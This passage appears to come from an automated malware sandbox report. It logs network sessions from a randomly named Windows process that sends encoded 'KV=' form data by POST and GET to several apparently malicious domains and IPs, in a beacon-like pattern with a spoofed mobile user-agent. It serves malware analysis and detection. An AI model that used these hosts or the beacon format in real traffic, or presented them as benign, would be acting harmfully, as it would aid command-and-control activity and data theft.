Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.11	50011	13.248.169.48	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:34.781539917 CET	1804	OUT	POST /x4ne/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.aiactor.xyz Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.aiactor.xyz Referer: http://www.aiactor.xyz/x4ne/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 46 68 38 50 66 49 6e 32 75 69 2b 70 55 39 2f 59 51 6c 61 42 36 6a 76 53 74 4c 2f 37 70 68 6f 42 42 41 7a 30 32 36 67 78 7a 65 4e 38 63 57 44 77 50 2b 5a 61 4e 46 47 58 39 78 74 56 68 4c 44 68 6c 53 39 7a 68 38 7a 4d 79 66 58 4a 62 6c 78 32 37 4e 45 42 79 4c 35 68 37 43 61 38 42 64 2f 33 34 2f 49 78 67 4d 2f 6c 58 5a 2f 57 2b 49 69 36 2b 49 79 37 6a 73 2f 63 78 79 74 4a 44 44 4e 69 6a 63 30 65 6e 43 79 35 30 78 57 38 69 6e 76 4c 6a 46 39 6f 6d 51 6b 61 4e 37 67 73 48 56 64 5a 71 62 56 75 48 46 6e 30 4b 74 41 4b 38 37 5a 4c 4e 64 6f 7a 53 47 67 6c 34 2f 2f 68 35 34 46 4f 76 64 34 74 69 66 64 2b 5a 72 59 70 56 49 64 57 59 62 37 52 34 75 45 48 36 6f 6c 57 61 67 48 31 31 42 73 4f 6a 34 45 75 49 4e 6e 33 52 7a 45 76 2b 68 58 61 4e 41 4a 4c 78 59 58 2f 77 39 42 72 6b 70 76 33 67 73 74 61 49 61 4b 36 42 30 7a 65 49 61 78 78 33 4f 7a 56 36 48 55 4f 4d 41 69 6b 62 68 49 65 62 61 61 33 51 7a 64 4b 46 52 77 4a 31 4c 34 6f 4f 2b 63 47 36 2f 76 69 5a 4e 4c 4b 50 68 6f 4e 32 48 34 43 52 4c 31 47 4e 70 32 [TRUNCATED] Data Ascii: KV=Fh8PfIn2ui+pU9/YQlaB6jvStL/7phoBBAz026gxzeN8cWDwP+ZaNFGX9xtVhLDhlS9zh8zMyfXJblx27NEByL5h7Ca8Bd/34/IxgM/lXZ/W+Ii6+Iy7js/cxytJDDNijc0enCy50xW8invLjF9omQkaN7gsHVdZqbVuHFn0KtAK87ZLNdozSGgl4//h54FOvd4tifd+ZrYpVIdWYb7R4uEH6olWagH11BsOj4EuINn3RzEv+hXaNAJLxYX/w9Brkpv3gstaIaK6B0zeIaxx3OzV6HUOMAikbhIebaa3QzdKFRwJ1L4oO+cG6/viZNLKPhoN2H4CRL1GNp28yfsQBYRrIaO29ETHRncEoKmGm5q+IZd/P6hQfQdLsBahv+NQbewwhHknYicniGHNJ5e5uH2HCziK+fa8tydQLCpDkOcC1MpJ2L2SLGo+EWP4FCiyrisGuP/SU8xLJ6n/wVzsk3NPdKSel7AzVuG4l+Ori4qD9ykzxYXm3EkOp/rhPY1Wz8IJ2fqCuz1RDgBojjNPyAF+WhW+3BEF0p+VVkM3HkCCn4C4UdN6V5m4NYzYuSXORNGajbqBHv1i0WXZPD9wuPWVOSSPBrcLEkYRvaCoj4XQw+TFelkVkm5FERmwzIqrXkD0Rsi8J2oUYF4qe83wa7y7qGLWp+evioWoGUD+aXZhMtsmQgg/E44JaHFLwwvj2e6zN8oKC0IiHMgIw9gaHUjUJI5sqlQ2j4IluS/pWdYT56JRPv4gUnC5t57DiKI3bmFOqrkBbpFWlYVdNKSrXW79DDI9xjSdBd/ezaqYVUCtQkJFo9yU6BzLfiatsdWWbqmdYkSy8Z6WCQMAAUcnrBuOw5Af5MwOmm4VUFgLCk5XQUJv+JDtWbBSozh32z5nxjCLUW+O/1co2bcRpAEXVjp64bt/rXUNiTmLr9AEWTd2eiR8mbBWXBdmj0PtUt4QwpKdvvdSoo8zkMK0PvDZdykkC5mXuXhaGtWA68OSX1QtH15nu [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.11	50012	13.248.169.48	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:37.440304041 CET	503	OUT	GET /x4ne/?KV=IjUvc9W1zDiNc9PqfXKx1TS0r6LahxQTMxD+2/9txvMkLHbQHvhCPVSp7yYBhZqVsANcjuLc38irD20I6v8c1v1ytT+DEei/9odakMDFYuDWzKGl/p+Lmpo=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.aiactor.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:56:38.575033903 CET	388	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Nov 2024 15:56:38 GMT Content-Type: text/html Content-Length: 248 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 4b 56 3d 49 6a 55 76 63 39 57 31 7a 44 69 4e 63 39 50 71 66 58 4b 78 31 54 53 30 72 36 4c 61 68 78 51 54 4d 78 44 2b 32 2f 39 74 78 76 4d 6b 4c 48 62 51 48 76 68 43 50 56 53 70 37 79 59 42 68 5a 71 56 73 41 4e 63 6a 75 4c 63 33 38 69 72 44 32 30 49 36 76 38 63 31 76 31 79 74 54 2b 44 45 65 69 2f 39 6f 64 61 6b 4d 44 46 59 75 44 57 7a 4b 47 6c 2f 70 2b 4c 6d 70 6f 3d 26 57 6e 6f 3d 61 30 71 44 71 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?KV=IjUvc9W1zDiNc9PqfXKx1TS0r6LahxQTMxD+2/9txvMkLHbQHvhCPVSp7yYBhZqVsANcjuLc38irD20I6v8c1v1ytT+DEei/9odakMDFYuDWzKGl/p+Lmpo=&Wno=a0qDq"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.11	50013	38.47.232.194	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:44.386914968 CET	765	OUT	POST /idu4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.76kdd.top Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.76kdd.top Referer: http://www.76kdd.top/idu4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 6e 42 55 38 44 58 50 49 59 32 78 7a 59 33 6f 4e 56 43 2b 66 4a 41 4e 78 32 75 73 45 78 68 62 77 6e 7a 71 57 47 62 52 33 4d 52 49 2f 37 49 45 4b 75 2f 70 43 32 56 56 44 63 49 53 2b 6e 75 54 6c 6d 6e 6d 62 4d 49 53 49 54 51 75 32 79 76 78 59 75 48 39 56 6c 62 37 46 30 70 69 58 6a 73 37 65 35 43 73 76 34 54 6e 69 2b 63 31 4a 68 61 7a 38 79 74 53 63 71 61 63 66 50 53 2b 73 6f 35 79 2b 2f 50 68 6d 6c 32 43 65 77 54 63 79 39 69 53 61 33 39 64 51 53 74 48 79 42 4d 70 68 6f 6a 36 74 41 75 52 33 78 4f 58 70 43 52 70 37 5a 55 57 62 66 78 57 78 77 76 4f 4d 74 32 4b 47 42 79 76 42 74 77 3d 3d Data Ascii: KV=nBU8DXPIY2xzY3oNVC+fJANx2usExhbwnzqWGbR3MRI/7IEKu/pC2VVDcIS+nuTlmnmbMISITQu2yvxYuH9Vlb7F0piXjs7e5Csv4Tni+c1Jhaz8ytScqacfPS+so5y+/Phml2CewTcy9iSa39dQStHyBMphoj6tAuR3xOXpCRp7ZUWbfxWxwvOMt2KGByvBtw==
Nov 20, 2024 16:56:45.940375090 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 15:56:45 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66e02f2c-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.11	50014	38.47.232.194	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:47.061878920 CET	785	OUT	POST /idu4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.76kdd.top Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.76kdd.top Referer: http://www.76kdd.top/idu4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 6e 42 55 38 44 58 50 49 59 32 78 7a 5a 57 59 4e 59 42 57 66 50 67 4e 79 35 4f 73 45 34 42 62 73 6e 7a 32 57 47 65 77 73 50 6a 73 2f 36 74 6f 4b 76 36 56 43 31 56 56 44 58 6f 53 2f 36 65 54 2b 6d 6e 71 35 4d 4d 53 49 54 57 43 32 79 71 56 59 75 32 39 53 2f 72 36 6a 38 4a 69 5a 73 4d 37 65 35 43 73 76 34 54 7a 4d 2b 59 5a 4a 6d 71 44 38 79 4d 53 54 6e 36 63 63 5a 69 2b 73 6a 5a 79 79 2f 50 68 45 6c 33 75 30 77 52 30 79 39 6d 43 61 77 76 6c 58 4c 39 48 30 5a 73 6f 2b 6e 43 6e 59 5a 4d 41 63 31 2f 48 48 56 56 73 5a 52 79 62 42 50 53 66 6d 7a 38 47 4f 35 51 72 32 49 44 4b 49 32 35 66 45 4b 57 39 4b 45 72 6d 6b 45 5a 2f 52 69 6e 74 44 66 4d 4d 3d Data Ascii: KV=nBU8DXPIY2xzZWYNYBWfPgNy5OsE4Bbsnz2WGewsPjs/6toKv6VC1VVDXoS/6eT+mnq5MMSITWC2yqVYu29S/r6j8JiZsM7e5Csv4TzM+YZJmqD8yMSTn6ccZi+sjZyy/PhEl3u0wR0y9mCawvlXL9H0Zso+nCnYZMAc1/HHVVsZRybBPSfmz8GO5Qr2IDKI25fEKW9KErmkEZ/RintDfMM=
Nov 20, 2024 16:56:48.616821051 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 15:56:48 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66e02f2c-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.11	50015	38.47.232.194	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:49.860483885 CET	1798	OUT	POST /idu4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.76kdd.top Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.76kdd.top Referer: http://www.76kdd.top/idu4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 6e 42 55 38 44 58 50 49 59 32 78 7a 5a 57 59 4e 59 42 57 66 50 67 4e 79 35 4f 73 45 34 42 62 73 6e 7a 32 57 47 65 77 73 50 6a 6b 2f 36 66 67 4b 76 5a 39 43 30 56 56 44 4c 59 53 69 36 65 53 75 6d 6e 69 39 4d 4d 58 39 54 56 32 32 67 63 4a 59 6d 69 52 53 78 62 36 6a 2b 4a 69 59 6a 73 37 75 35 43 38 72 34 54 6a 4d 2b 59 5a 4a 6d 73 6e 38 6d 4e 53 54 6c 36 63 66 50 53 2b 4a 6f 35 7a 62 2f 4f 4a 2b 6c 33 71 4f 77 68 55 79 39 48 75 61 78 63 64 58 44 39 48 32 4d 73 6f 32 6e 43 72 78 5a 4d 63 36 31 2f 7a 70 56 53 59 5a 56 58 4b 65 49 78 6e 76 6b 4b 61 59 36 77 58 55 49 7a 57 54 34 4c 79 36 62 6d 5a 76 66 73 79 6c 44 49 32 70 79 6e 5a 2f 4f 4d 76 45 56 64 42 36 6a 54 48 55 49 4e 45 42 39 59 67 31 34 62 63 66 5a 6c 52 4a 72 2b 58 68 74 4b 6d 6f 71 42 45 68 4f 6b 66 4f 6d 6d 46 45 77 64 2b 5a 4f 6f 6e 4d 39 70 6f 6a 48 62 57 41 4a 45 78 70 56 78 65 71 51 62 51 4f 5a 4b 50 67 36 58 4f 61 70 4f 6f 78 75 67 30 73 6c 50 7a 74 68 72 53 33 59 4e 77 4c 43 71 6c 73 6f 67 37 6c 55 37 49 70 43 62 56 77 53 76 30 [TRUNCATED] Data Ascii: KV=nBU8DXPIY2xzZWYNYBWfPgNy5OsE4Bbsnz2WGewsPjk/6fgKvZ9C0VVDLYSi6eSumni9MMX9TV22gcJYmiRSxb6j+JiYjs7u5C8r4TjM+YZJmsn8mNSTl6cfPS+Jo5zb/OJ+l3qOwhUy9HuaxcdXD9H2Mso2nCrxZMc61/zpVSYZVXKeIxnvkKaY6wXUIzWT4Ly6bmZvfsylDI2pynZ/OMvEVdB6jTHUINEB9Yg14bcfZlRJr+XhtKmoqBEhOkfOmmFEwd+ZOonM9pojHbWAJExpVxeqQbQOZKPg6XOapOoxug0slPzthrS3YNwLCqlsog7lU7IpCbVwSv0TB0WSAFuHjDrbjk5bSJyZGK/P5wfBIwDcCWal9FAqut7vRCn0qwNw8ERx8VoJRIpu7R0k7Yw6JNlmx4eW9if0jYRzbqA/71q9arADF5v9T/8SeSPeikBxBbMrgdf3h5BNigXbIB4QZMsqQFQonf5mQiYEg21t8b90laCFUHGhLtkBQHvCPEx1HG/14Vlu6Kksxk75nOgkQi48SeWyFC9iv5fCjU+AIpTQVkIbdMwaF6EToyuWba4KORsu3cifJNnvDRGhG8VZnoMw2mQKwDdiXXODdEpLBPSb0Dq37XK0YdM/Fza5uAxiFOFGU63svULn0yi77WOZTBXrch47/pPKu0WtsUbdJlhVzfPyDcKM9j4ODk7zPbi8QKmAb4knH6spwCZu4pS1AX6EifJhgR+wiZzloTR5WEraLnUNCMK0hA3AFW5ymU021lihcDzhFemWtH8yCeKTc+gkwk81nKtZCBFPbBKFDyzL5g0JNhcewUdRR8bSYcBiG4NQLdNPRi1pTTJAa9pJhzP0RPzPzcmuDatPWWc2hEVxfYvP7eyqLKwlFISjBdXve3XQDyEMKOlIW8CvDMr3kn97Dg13hibtXuFFVciykU/iTI1iwPnS+eq3L+feXELLWiadHVgN94NaQtq/OFhLEqM3jA4hUV5aoP4WajRFdJb5u [TRUNCATED]
Nov 20, 2024 16:56:51.363568068 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 15:56:51 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66e02f2c-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.11	50016	38.47.232.194	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:52.546979904 CET	501	OUT	GET /idu4/?KV=qD8cAnDgckBLYUQoRh7zBwgp4vAR8SH4vArrPOMmIDAln/sBv7g5z1sASbSU3sLbiWKHdb75VGXih9cbyGRF9rbA94O5jPyz1SB60B/cp/B1u7O6lua4pvo=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.76kdd.top Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:56:54.132671118 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 15:56:53 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66e02f2c-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.11	50017	172.67.159.24	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:59.760895967 CET	801	OUT	POST /04wl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.rafconstrutora.online Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.rafconstrutora.online Referer: http://www.rafconstrutora.online/04wl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 34 32 74 32 61 6e 63 71 64 4e 54 32 75 4a 31 51 49 70 50 4e 32 37 62 65 73 42 33 68 43 45 50 6d 48 77 4d 30 4b 4b 6d 61 70 6e 38 57 45 6a 46 73 6f 63 35 39 4a 78 33 43 4c 46 54 2f 36 6c 56 59 4a 44 45 43 78 67 79 72 31 36 51 52 66 57 72 54 6d 4e 31 4f 33 39 6d 4e 59 55 48 4b 49 4e 62 77 46 74 6e 4f 5a 33 63 74 38 46 68 39 59 6d 33 74 44 39 59 53 78 74 58 2b 36 72 2b 5a 30 46 45 7a 4b 54 4f 41 39 65 4b 4f 50 51 64 34 59 50 4b 54 5a 6e 35 55 55 48 65 79 77 52 56 56 77 46 6a 77 57 65 34 70 51 4c 64 77 63 54 41 62 74 2f 48 75 61 69 35 70 62 4f 5a 5a 45 69 30 58 6f 6d 39 4f 78 77 3d 3d Data Ascii: KV=42t2ancqdNT2uJ1QIpPN27besB3hCEPmHwM0KKmapn8WEjFsoc59Jx3CLFT/6lVYJDECxgyr16QRfWrTmN1O39mNYUHKINbwFtnOZ3ct8Fh9Ym3tD9YSxtX+6r+Z0FEzKTOA9eKOPQd4YPKTZn5UUHeywRVVwFjwWe4pQLdwcTAbt/Huai5pbOZZEi0Xom9Oxw==
Nov 20, 2024 16:57:00.972490072 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 15:57:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Thu, 29 Sep 2022 21:53:06 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q1hmMZPL6xLS5oDdggY7njLBY0BAIVODzUXWNdDYJIEpO77%2F4%2BwyVE1hH2LldhpWknhvZ1n%2BrieMqALARzA89irO0EGwh2UdPLbOhpXeb9vXudOBjH%2FGCjAPLNEyMWRhKPdwCTPvpgUBhUOD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59a21f8cfb1899-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1509&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=801&delivery_rate=0&cwnd=162&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 33 34 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 [TRUNCATED] Data Ascii: 34bnF={E@I/M&@{V(C,)oc@B/VPQ$QqZ;a\|_@2}"P'D@\v+B@1D\|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf\|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s>2Cr-F.
Nov 20, 2024 16:57:00.972517014 CET	467	IN	Data Raw: 99 5a 2e c3 e5 b0 61 e1 32 ea c2 e5 43 2d 53 75 5d a2 f4 d4 e8 42 3e 52 c2 f8 4c c2 b8 0b a3 f1 b3 a6 98 9e a9 98 46 5d 38 7d 5e 15 8b 33 15 8b 71 17 2e ce 54 9c b1 34 73 b0 22 f2 ec 9d aa 47 95 b1 23 cd 2c f6 ed f2 77 25 72 81 e8 ff 13 b1 26 eb Data Ascii: Z.a2C-Su]B>RLF]8}^3q.T4s"G#,w%r&=U]%>r343-R1'kWq_eAJNO=0Io#_A19#ok\O}NU;dVPoscEWCp wVKz =tddX;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.11	50018	172.67.159.24	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:02.428574085 CET	821	OUT	POST /04wl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.rafconstrutora.online Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.rafconstrutora.online Referer: http://www.rafconstrutora.online/04wl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 34 32 74 32 61 6e 63 71 64 4e 54 32 38 35 6c 51 46 75 7a 4e 77 62 62 5a 79 52 33 68 4d 6b 50 71 48 77 51 30 4b 50 47 4b 70 55 49 57 45 42 64 73 70 5a 56 39 4f 78 33 43 53 31 54 36 31 46 56 44 4a 44 4a 31 78 6c 53 72 31 36 30 52 66 58 62 54 6d 2b 74 4e 31 74 6d 50 52 30 48 4d 47 74 62 77 46 74 6e 4f 5a 33 59 4c 38 46 35 39 59 56 76 74 44 66 67 4e 75 64 58 39 71 37 2b 5a 77 46 45 33 4b 54 4f 69 39 66 6d 30 50 57 5a 34 59 4b 4f 54 41 57 35 4c 4f 58 65 77 2f 78 55 31 37 31 6d 66 5a 74 39 31 58 4e 42 37 66 41 55 6d 73 35 4b 30 4b 42 77 2b 59 64 52 62 51 45 56 6e 68 58 59 48 71 34 69 4e 53 75 55 77 6d 38 7a 79 63 59 71 4a 2f 4a 63 7a 70 51 30 3d Data Ascii: 